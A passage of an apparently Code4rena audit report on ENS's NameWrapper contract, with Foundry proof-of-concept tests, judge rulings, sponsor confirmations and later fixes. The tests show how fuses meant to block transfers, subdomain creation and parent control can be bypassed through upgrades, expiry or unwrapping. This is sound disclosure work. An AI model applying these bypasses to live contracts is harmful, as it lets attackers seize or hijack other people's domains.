function _canFusesBeBurned(bytes32 node, uint32 fuses) internal pure { // If a non-parent controlled fuse is being burned, check PCC and CU are burnt if ( fuses & ~PARENT_CONTROLLED_FUSES != 0 && fuses & (PARENT_CANNOT_CONTROL | CANNOT_UNWRAP) != (PARENT_CANNOT_CONTROL | CANNOT_UNWRAP) ) { revert OperationProhibited(node); } } function _checkFusesAreSettable(bytes32 node, uint32 fuses) internal pure { if (fuses | USER_SETTABLE_FUSES != USER_SETTABLE_FUSES) { // Cannot directly burn other non-user settable fuses revert OperationProhibited(node); } } function _getEthLabelhash(bytes32 node, uint32 fuses) internal view returns (bytes32 labelhash) { if (fuses & IS_DOT_ETH == IS_DOT_ETH) { bytes memory name = names[node]; (labelhash, ) = name.readLabel(0); } return labelhash; } }
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "forge-std/Test.sol"; import {NameEncoder} from "2022-11-ens-code4rena/utils/NameEncoder.sol"; // dnsEncodeName(string name) import {Root} from "2022-11-ens-code4rena/root/Root.sol"; import {ENS} from "2022-11-ens-code4rena/registry/ENS.sol"; // imports interface ENS import {IBaseRegistrar} from "2022-11-ens-code4rena/ethregistrar/IBaseRegistrar.sol"; // eth registrar import {BaseRegistrarImplementation} from "2022-11-ens-code4rena/ethregistrar/BaseRegistrarImplementation.sol"; // eth registrar import {StaticMetadataService} from "2022-11-ens-code4rena/wrapper/StaticMetadataService.sol"; import {IMetadataService} from "2022-11-ens-code4rena/wrapper/IMetadataService.sol"; import {INameWrapper, CANNOT_UNWRAP, CANNOT_BURN_FUSES, CANNOT_TRANSFER, CANNOT_SET_RESOLVER, CANNOT_SET_TTL, CANNOT_CREATE_SUBDOMAIN, PARENT_CANNOT_CONTROL, CAN_DO_EVERYTHING, IS_DOT_ETH, PARENT_CONTROLLED_FUSES, USER_SETTABLE_FUSES} from "2022-11-ens-code4rena/wrapper/INameWrapper.sol"; import {NameWrapper, OperationProhibited, Unauthorised} from "2022-11-ens-code4rena/wrapper/NameWrapper.sol"; import {INameWrapperUpgrade} from "2022-11-ens-code4rena/wrapper/INameWrapperUpgrade.sol"; import {DummyOracle} from "2022-11-ens-code4rena/ethregistrar/DummyOracle.sol"; import {ExponentialPremiumPriceOracle} from "2022-11-ens-code4rena/ethregistrar/ExponentialPremiumPriceOracle.sol"; import {AggregatorInterface} from "2022-11-ens-code4rena/ethregistrar/StablePriceOracle.sol"; import {IETHRegistrarController, IPriceOracle} from "2022-11-ens-code4rena/ethregistrar/IETHRegistrarController.sol"; import {ETHRegistrarController} from "2022-11-ens-code4rena/ethregistrar/ETHRegistrarController.sol"; import {ReverseRegistrar} from "2022-11-ens-code4rena/registry/ReverseRegistrar.sol"; import {UpgradedNameWrapperMock} from "2022-11-ens-code4rena/wrapper/mocks/UpgradedNameWrapperMock.sol"; contract TestPoc is Test { using NameEncoder for string; address public root_owner = 0xCF60916b6CB4753f58533808fA610FcbD4098Ec0; address public root_addr = 0xaB528d626EC275E3faD363fF1393A41F581c5897; // root.ens.eth address public registry_addr = 0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e; // ENS address public registrar_owner = 0xFe89cc7aBB2C4183683ab71653C4cdc9B02D44b7; address public registrar_addr = 0x57f1887a8BF19b14fC0dF6Fd9B2acc9Af147eA85; // ETH Registrar address public reverse_addr = 0x084b1c3C81545d370f3634392De611CaaBFf8148; address public old_eth_registrar_controller_addr = 0x283Af0B28c62C092C9727F1Ee09c02CA627EB7F5; // old controller address public default_resolver = 0xA2C122BE93b0074270ebeE7f6b7292C7deB45047; address public user1 = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045; // vitalik.eth address public user2 = address(1234); bytes32 public ROOT_NODE = bytes32(0); ENS public ens; Root public root; IBaseRegistrar public registrar; IMetadataService public metadata; NameWrapper public nameWrapper; INameWrapperUpgrade public nameWrapperUpgrade; AggregatorInterface public usdOracle; IPriceOracle public prices; ReverseRegistrar public reverse; ETHRegistrarController public ethController; function getDeployed() public { ens = ENS(registry_addr); root = Root(root_addr); registrar = IBaseRegistrar(registrar_addr); } function deploy() public { // Metadata Service metadata = IMetadataService(address(new StaticMetadataService('ens-metadata-service.appspot.com/name/0x{id}'))); // NameWrapper deployNameWrapper(); // price oracle\reverseregistrar deployPriceOracle(); // reverseRegistrar deployReverseRegistrar(); // eth controller deployETHRegistrarController(); } function deployETHRegistrarController() public { uint256 _minCommitmentAge = 60; uint256 _maxCommitmentAge = 86400; ethController = new ETHRegistrarController( BaseRegistrarImplementation(address(registrar)), prices, _minCommitmentAge, _maxCommitmentAge, reverse, INameWrapper(address(nameWrapper)) ); // transferOwnership to owner ethController.transferOwnership(root_owner); assertEq(ethController.owner(), root_owner); vm.prank(root_owner); nameWrapper.setController(address(ethController), true); vm.prank(root_owner); reverse.setController(address(ethController), true); } function deployPriceOracle() public { // deploy based on the deploy script // dummyOracle int256 latestAns = 160000000000; usdOracle = AggregatorInterface(address(new DummyOracle(latestAns))); assertEq(latestAns, usdOracle.latestAnswer()); // ExponentialPremiumPriceOracle uint256[] memory _rentPrices = new uint256[](5); _rentPrices[2] = 20294266869609; _rentPrices[3] = 5073566717402; _rentPrices[4] = 158548959919; uint256 _startPremium = 100000000000000000000000000; uint256 totalDays = 21; prices = IPriceOracle(address(new ExponentialPremiumPriceOracle( usdOracle, _rentPrices, _startPremium, totalDays ))); } function deployReverseRegistrar() public { reverse = new ReverseRegistrar(ens); // transfer ownership of reverse to root_owner reverse.transferOwnership(root_owner); // set owner of .reverse to owner on root bytes32 subnode = keccak256(abi.encodePacked(ROOT_NODE, keccak256(bytes('reverse')))); vm.prank(root_owner); root.setSubnodeOwner(keccak256(bytes('reverse')), root_owner); assertEq(ens.owner(subnode), root_owner); // set owner of .addr.reverse to reverseregistrar on registry string memory str_node = 'reverse'; (, bytes32 reverse_node) = str_node.dnsEncodeName(); vm.prank(root_owner); ens.setSubnodeOwner(reverse_node, keccak256(bytes('addr')), address(reverse)); str_node = 'addr.reverse'; (, reverse_node) = str_node.dnsEncodeName(); assertEq(ens.owner(reverse_node), address(reverse)); // set defaultResolver vm.prank(root_owner); reverse.setDefaultResolver(default_resolver); assertEq(default_resolver, address(reverse.defaultResolver())); } function deployNameWrapper() public { nameWrapper = new NameWrapper(ens, registrar, metadata); // transfer Ownership nameWrapper.transferOwnership(root_owner); assertEq(nameWrapper.owner(), root_owner); // add as controller on registrar assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), false); vm.prank(registrar_owner); registrar.addController(address(nameWrapper)); assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(nameWrapper)), true); } function setUp() public { getDeployed(); deploy(); } function _hashLabel(string memory label) private pure returns (bytes32 ) { return keccak256(bytes(label)); } function _makeNode(bytes32 node, bytes32 labelhash) private pure returns (bytes32) { return keccak256(abi.encodePacked(node, labelhash)); } function deployNameWrapperUpgrade() public { // deploy UpgradedNameWrapperMock NameWrapper upgrade = new NameWrapper(ens, IBaseRegistrar(registrar_addr), metadata); // transfer Ownership upgrade.transferOwnership(root_owner); assertEq(upgrade.owner(), root_owner); // add as controller on registrar assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), false); vm.prank(registrar_owner); registrar.addController(address(upgrade)); assertEq(BaseRegistrarImplementation(registrar_addr).controllers(address(upgrade)), true); nameWrapperUpgrade = INameWrapperUpgrade(address(upgrade)); } function testM2TransferWhileUpgrade() public { // using the mock for upgrade contract deployNameWrapperUpgrade(); string memory node_str = 'vitalik.eth'; string memory sub1_full = 'sub1.vitalik.eth'; string memory sub1_str = 'sub1'; (, bytes32 node) = node_str.dnsEncodeName(); (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); // wrap parent and lock vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0)); // sanity check (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max); assertEq(expiry, 2038123728); // upgrade as nameWrapper's owner vm.prank(root_owner); nameWrapper.setUpgradeContract(nameWrapperUpgrade); assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade)); assertEq(NameWrapper(address(nameWrapperUpgrade)).ownerOf(uint256(node)), address(0)); // user1 calls upgradeETH2LD vm.prank(user1); address newOwner = address(123); nameWrapper.upgradeETH2LD('vitalik', newOwner , address(0) /* resolver */); address secondOwner = NameWrapper(address(nameWrapperUpgrade)).ownerOf(uint256(node)); assertEq(secondOwner, newOwner); } }
#5 - c4-judge
2022-12-07T00:31:16Z
GalloDaSballo marked the issue as selected for report
#6 - GalloDaSballo
2022-12-07T00:42:00Z
Per the discussion above, the Warden has shown how, despite burning the fuse to prevent transfers, due to the implementation of NameWrapper, a node can still be transferred during an upgrade.
I believe that, technically this can be prevented by changing the implementation of the upgraded NameWrapper, and because it's reliant on that implementation, I agree with Medium Severity.
Performing a check for ownership on the old wrapper, I believe, should offer sufficient mitigation
#7 - csanuragjain
2023-01-10T08:30:28Z
Fixed. The owner value is now derived from getData function which retrieves the current node owner. If it does not matches the assigned owner then CANNOT_TRANSFER fuse is always checked (non expired scenario)
(address currentOwner, uint32 fuses, uint64 expiry) = _prepareUpgrade( node ); if (wrappedOwner != currentOwner) { _preTransferCheck(uint256(node), fuses, expiry); } // Now _preTransferCheck checks -> if (fuses & CANNOT_TRANSFER != 0) { revert OperationProhibited(bytes32(id)); }
🌟 Selected for report: zzzitron
Data not available
https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L512 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L550
CANNOT_CREATE_SUBDOMAIN
fuse can "create" again an expired nameENS.setSubdomainOwner
before burning CANNOT_CREATE_SUBDOMAIN
to be able to use the subdomain laterBelow is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.
As in the wrapper/README.md
:
To check if a name is Unregistered, verify that
NameWrapper.ownerOf
returnsaddress(0)
and so doesRegistry.owner
. To check if a name is Unwrapped, verify thatNameWrapper.ownerOf
returnsaddress(0)
andRegistry.owner
does not.
Also, an expired name should go to Unregistered state per the graph suggests.
But, as the proof of concept below shows, after expiration, NameWrapper.ownerOf(node)
is zero but ens.owner(node)
is not zero. It is Unwrapped
state based on the wrapper/README.md
.
function testM3ExpiredNamesBehavesUnwrapped() public { string memory str_node = 'vitalik.eth'; (bytes memory dnsName, bytes32 node) = str_node.dnsEncodeName(); // before wrapping the name check assertEq(user1, ens.owner(node)); (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, address(0)); // -- wrapETH2LD vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, 0, address(0)); // after name wrap check (owner, fuses, expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH); assertEq(expiry, 2038123728); // wrapETH2LD -- vm.warp(2038123729); // after expiry (owner, fuses, expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, address(0)); assertEq(fuses, 0); assertEq(expiry, 2038123728); assertEq(nameWrapper.ownerOf(uint256(node)), address(0)); assertEq(ens.owner(node), address(nameWrapper)); // registry.owner is not zero vm.expectRevert(); registrar.ownerOf(uint256(node)); }
Since an expired name is technically unwrapped, even a parent with CANNOT_CREATE_SUBDOMAIN
can set the owner or records of the subdomain as the proof of concept below shows.
function testM3ExpiredNameCreate() public { // After expired, the ens.owner's address is non-zero // therefore, the parent can 'create' the name evne CANNOT_CREATE_SUBDOMAIN is burned string memory parent = 'vitalik.eth'; string memory sub1_full = 'sub1.vitalik.eth'; string memory sub1 = 'sub1'; (, bytes32 parent_node) = parent.dnsEncodeName(); (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); // wrap parent and lock vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0)); // checks (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP); assertEq(expiry, 2038123728); // create subnode vm.prank(user1); nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000); (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); assertEq(owner, user2); assertEq(fuses, PARENT_CANNOT_CONTROL); assertEq(expiry, 1700000000); // now parent cannot create subdomain vm.prank(user1); nameWrapper.setFuses(parent_node, uint16(CANNOT_CREATE_SUBDOMAIN)); (owner, fuses, expiry) = nameWrapper.getData(uint256(parent_node)); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP | CANNOT_CREATE_SUBDOMAIN); // parent: pcc cu CANNOT_CREATE_SUBDOMAIN // child: pcc // unwrap and sets the owner to zero // parent cannot use setSubnodeRecord on PCCed sub vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node)); vm.prank(user1); nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0); // expire sub1 vm.warp(1700000001); (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); assertEq(owner, address(0)); assertEq(fuses, 0); assertEq(expiry, 1700000000); assertEq(ens.owner(sub1_node), address(nameWrapper)); // user1 can re-"create" sub1 even though CANNOT_CREATE_SUBDOMAIN is set on parent vm.prank(user1); nameWrapper.setSubnodeRecord(parent_node, sub1, address(3), address(11), 10, 0, 0); (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); assertEq(owner, address(3)); assertEq(fuses, 0); assertEq(expiry, 1700000000); assertEq(ens.owner(sub1_node), address(nameWrapper)); // comparison: tries create a new subdomain and revert string memory sub2 = 'sub2'; string memory sub2_full = 'sub2.vitalik.eth'; (, bytes32 sub2_node) = sub2_full.dnsEncodeName(); vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub2_node)); vm.prank(user1); nameWrapper.setSubnodeRecord(parent_node, sub2, user2, address(11), 10, 0, 0); }
foundry
Unclear as the NameWrapper
cannot set ENS.owner after expiration automatically.
#0 - GalloDaSballo
2022-12-05T01:28:43Z
POC Looks valid, will ask for sponsor confirmation
#1 - c4-sponsor
2022-12-05T16:48:12Z
jefflau marked the issue as sponsor confirmed
#2 - jefflau
2022-12-05T17:16:51Z
Possible mitigation is:
If the owner in the registry is non-zero, then check if the ownerOf()
in NameWrapper is 0. If it is, treat it as unregistered so it is protected under CANNOT_CREATE_SUBDOMAIN
.
modifier canCallSetSubnodeOwner(bytes32 node, bytes32 labelhash) { bytes32 subnode = _makeNode(node, labelhash); address owner = ens.owner(subnode); (address wrappedOwner, uint32 fuses, ) = getData(uint256(subnode)); if (owner == address(0) || wrappedOwner == address(0)) { if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } } else { (, uint32 subnodeFuses, ) = getData(uint256(subnode)); if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) { revert OperationProhibited(subnode); } } _; }
#3 - GalloDaSballo
2022-12-08T22:29:13Z
Was running into stack too deep so I created local stack (just added extra {
)
modifier canCallSetSubnodeOwner(bytes32 node, bytes32 labelhash) { { bytes32 subnode = _makeNode(node, labelhash); address owner = ens.owner(subnode); (address wrappedOwner, uint32 fuses, ) = getData(uint256(subnode)); if (owner == address(0) || wrappedOwner == address(0)) { if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } } else { (, uint32 subnodeFuses, ) = getData(uint256(subnode)); if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) { revert OperationProhibited(subnode); } } }
The modifier change makes testM3ExpiredNameCreate
fail.
Will defer to Wardens for further advice, but I believe mitigation to be valid
#4 - GalloDaSballo
2022-12-08T22:30:38Z
The warden has shown how, domains that are expired are interpreted as unwrapped instead of as unregistered.
Given the impact, I think Medium Severity to be the most appropriate
#5 - c4-judge
2022-12-08T22:30:42Z
GalloDaSballo marked the issue as selected for report
#6 - zzzitron
2022-12-10T09:22:00Z
I think the mitigation works to disallow the bypass of the CANNOT_CREATE_SUBDOMAIN
fuse.
But per the unregistered
and unwrapped
criteria in the docs, after expiration the domain is unwrapped
.
To check if a name is Unregistered, verify that NameWrapper.ownerOf returns address(0) and so does Registry.owner. To check if a name is Unwrapped, verify that NameWrapper.ownerOf returns address(0) and Registry.owner does not.
#7 - csanuragjain
2023-01-10T08:41:02Z
Fixed. For all expired nodes, the CANNOT_CREATE_SUBDOMAIN flag is checked in both cases now (either ens owner or wrappedOwner is address(0) )
if (owner == address(0) || wrappedOwner == address(0)) { if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } }
🌟 Selected for report: zzzitron
Data not available
https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L512 https://github.com/code-423n4/2022-11-ens/blob/2b0491fee2944f5543e862b1e5d223c9a3701554/contracts/wrapper/NameWrapper.sol#L550
CANNOT_UNWRAP
fuse can unwrap and set the ens.owner(node)
to zero to be an unregistered statePARENT_CANNOT_CONTROL
fuse, the parent of the node can change the NameWrappwer.owner
of the nodeBelow is a snippet of the proof of concept. The whole code can be found in this gist. And how to run test is in the comment in the gist.
In the proof of concept below, the parent node is vitalik.eth
and the child node is sub1.vitalik.eth
.
The parent node has PARENT_CANNOT_CONTROL
, IS_DOT_ETH
and CANNOT_UNWRAP
and the child node has PARENT_CANNOT_CONTROL
.
The child node unwraps itself and set the owner on ens
contract to the address(0)
or address(ens)
, which will make the child node to unregistered state even before expiry of the node.
Since technically the child node is unregistered, the parent can now 'create' the 'unregistered' node sub1.vitalik.eth
by simply calling setSubnodeRecord
. By doing so, the parent can take control over the child node, even though the PARENT_CANNOT_CONTROL
fuse was set and it was before expiry.
function testM4WrappedToUnregistered() public { string memory parent = 'vitalik.eth'; string memory sub1_full = 'sub1.vitalik.eth'; string memory sub1 = 'sub1'; (, bytes32 parent_node) = parent.dnsEncodeName(); (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); // wrap parent and lock vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, uint16(CANNOT_UNWRAP), address(0)); // checks (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(parent_node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | CANNOT_UNWRAP); assertEq(expiry, 2038123728); // subnode vm.prank(user1); nameWrapper.setSubnodeOwner(parent_node, 'sub1', user2, PARENT_CANNOT_CONTROL, 1700000000); (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); assertEq(owner, user2); assertEq(fuses, PARENT_CANNOT_CONTROL); assertEq(expiry, 1700000000); // parent cannot set record on the sub1 vm.expectRevert(abi.encodeWithSelector(OperationProhibited.selector, sub1_node)); vm.prank(user1); nameWrapper.setSubnodeRecord(parent_node, sub1, user1, address(1), 10, 0, 0); // parent: pcc cu // child: pcc // unwrap sub and set the ens owner to zero -> now parent can change owner vm.prank(user2); nameWrapper.unwrap(parent_node, _hashLabel(sub1), address(ens)); assertEq(ens.owner(sub1_node), address(0)); // sub node has PCC but parent can set owner, resolve and ttl vm.prank(user1); nameWrapper.setSubnodeRecord(parent_node, sub1, address(246), address(12345), 111111, 0, 0); (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); assertEq(owner, address(246)); assertEq(fuses, PARENT_CANNOT_CONTROL); assertEq(expiry, 1700000000); assertEq(ens.resolver(sub1_node), address(12345)); assertEq(ens.ttl(sub1_node), 111111); // can change fuse as the new owner of sub1 vm.prank(address(246)); nameWrapper.setFuses(sub1_node, uint16(CANNOT_UNWRAP)); (owner, fuses, expiry) = nameWrapper.getData(uint256(sub1_node)); assertEq(owner, address(246)); assertEq(fuses, PARENT_CANNOT_CONTROL | CANNOT_UNWRAP); assertEq(expiry, 1700000000); assertEq(ens.resolver(sub1_node), address(12345)); assertEq(ens.ttl(sub1_node), 111111); }
It is unlikely that the child node will set the owner of the ENS Registry to zero. But hypothetically, the owner of the child node wanted to "burn" the subnode thinking that no one can use it until the expiry. In that case the owner of the parent node can just take over the child node.
foundry
Unclear, but consider using ENS.recordExists
instead of checking the ENS.owner
.
#0 - c4-sponsor
2022-12-05T17:45:29Z
jefflau marked the issue as sponsor confirmed
#1 - GalloDaSballo
2022-12-06T23:04:46Z
The warden has shown how, after burning the PARENT_CANNOT_CONTROL
fuse, by unregistering a node, it's possible for the Parent to control the node again.
An invariant is broken, but this condition is reliant on the node owner for it to be possible.
Because of this, I believe Medium Severity to be appropriate
#2 - c4-judge
2022-12-06T23:04:53Z
GalloDaSballo marked the issue as selected for report
#3 - csanuragjain
2023-01-10T08:22:50Z
Fixed.
If ens address was zero then earlier code bypassed check for PARENT_CANNOT_CONTROL and only checked CANNOT_CREATE_SUBDOMAIN
if (owner == address(0)) { (, uint32 fuses, ) = getData(uint256(node)); if (fuses & CANNOT_CREATE_SUBDOMAIN != 0) { revert OperationProhibited(subnode); } ...
With the updated code, all unexpired nodes will be checked for PARENT_CANNOT_CONTROL fuse
bool expired = subnodeExpiry < block.timestamp; if ( expired && ...) ... } else { if (subnodeFuses & PARENT_CANNOT_CONTROL != 0) { revert OperationProhibited(subnode); }
🌟 Selected for report: zzzitron
Also found by: csanuragjain, izhuer
Data not available
Label | Title |
---|---|
L00 | NameWrapper: Missing isWrapped function |
L01 | NameWrapper: upgrade does not revert when called with ETH2LD |
isWrapped
functionAccording to the wrapper/README.md
:
To check if a name has been wrapped, call
isWrapped()
. This checks:
- The NameWrapper is the owner in the Registry contract
- The owner in the NameWrapper is non-zero
However, there is no implementation of the isWrapped()
function.
upgrade
does not revert when called with ETH2LDThe NameWrapper.upgrade
function is supposed to be called only by non .eth domain, based on the comment. However, it currently lacks the check whether the given parentNode
is not the ETH_NODE
, and it allows to be called by .eth node as the proof of concept shows.
This is, however, reported as QA, assuming the upgraded NameWrapper has some logic to check the parentNode is not ETH_NODE
.
Nevertheless, to ensure that no .eth node can be called with NameWrapper.upgrade
, it is probably good to have the check on the current NameWrapper.
// NameWrapper.sol 426 /** 427 * @notice Upgrades a non .eth domain of any kind. Could be a DNSSEC name vitalik.xyz or a subdomain 428 * @dev Can be called by the owner or an authorised caller 429 * Requires upgraded Namewrapper to permit old Namewrapper to call `setSubnodeRecord` for all names 430 * @param parentNode Namehash of the parent name 431 * @param label Label as a string of the name to upgrade 432 * @param wrappedOwner Owner of the name in this contract 433 * @param resolver Resolver contract for this name 434 */ 435 436 function upgrade( 437 bytes32 parentNode, 438 string calldata label, 439 address wrappedOwner, 440 address resolver 441 ) public { 442 bytes32 labelhash = keccak256(bytes(label)); 443 bytes32 node = _makeNode(parentNode, labelhash); 444 (uint32 fuses, uint64 expiry) = _prepareUpgrade(node); 445 upgradeContract.setSubnodeRecord( 446 parentNode, 447 label, 448 wrappedOwner, 449 resolver, 450 0, 451 fuses, 452 expiry 453 ); 454 }
// Proof of concept // to run: add this code to the https://gist.github.com/zzzitron/7670730176e35d7b2322bc1f4b9737f0#file-2022-11-ens-versus-poc-t-sol-L345 function testTest2() public { // using the mock for upgrade contract deployNameWrapperUpgrade(); string memory node_str = 'vitalik.eth'; string memory sub1_full = 'sub1.vitalik.eth'; string memory sub1_str = 'sub1'; (, bytes32 node) = node_str.dnsEncodeName(); (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName(); // wrap parent and lock vm.prank(user1); registrar.setApprovalForAll(address(nameWrapper), true); vm.prank(user1); nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0)); // sanity check (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node)); assertEq(owner, user1); assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max); assertEq(expiry, 2038123728); // upgrade as nameWrapper's owner vm.prank(root_owner); nameWrapper.setUpgradeContract(nameWrapperUpgrade); assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade)); // user1 calls upgradeETH2LD vm.prank(user1); // nameWrapper.upgradeETH2LD('vitalik', address(123) /* new owner */, address(531) /* resolver */); // The line below does not revert unless the upgraded NameWrapper has the logic to check the parentNode nameWrapper.upgrade(ETH_NODE, 'vitalik', address(123) /* new owner */, address(531) /* resolver */); }
#0 - GalloDaSballo
2022-12-05T01:31:06Z
L00 NameWrapper: Missing isWrapped function Valid R / Low
L01 NameWrapper: upgrade does not revert when called with ETH2LD Valid L, will think about severity further
#1 - GalloDaSballo
2022-12-06T20:21:45Z
2L
#2 - c4-judge
2022-12-06T20:22:14Z
GalloDaSballo marked the issue as selected for report
#3 - c4-judge
2022-12-06T20:25:40Z
GalloDaSballo marked the issue as grade-a
#4 - GalloDaSballo
2022-12-11T16:48:59Z
Confirming Best QA because of impact of the findings (and because of penalty for Izhuer Submissions)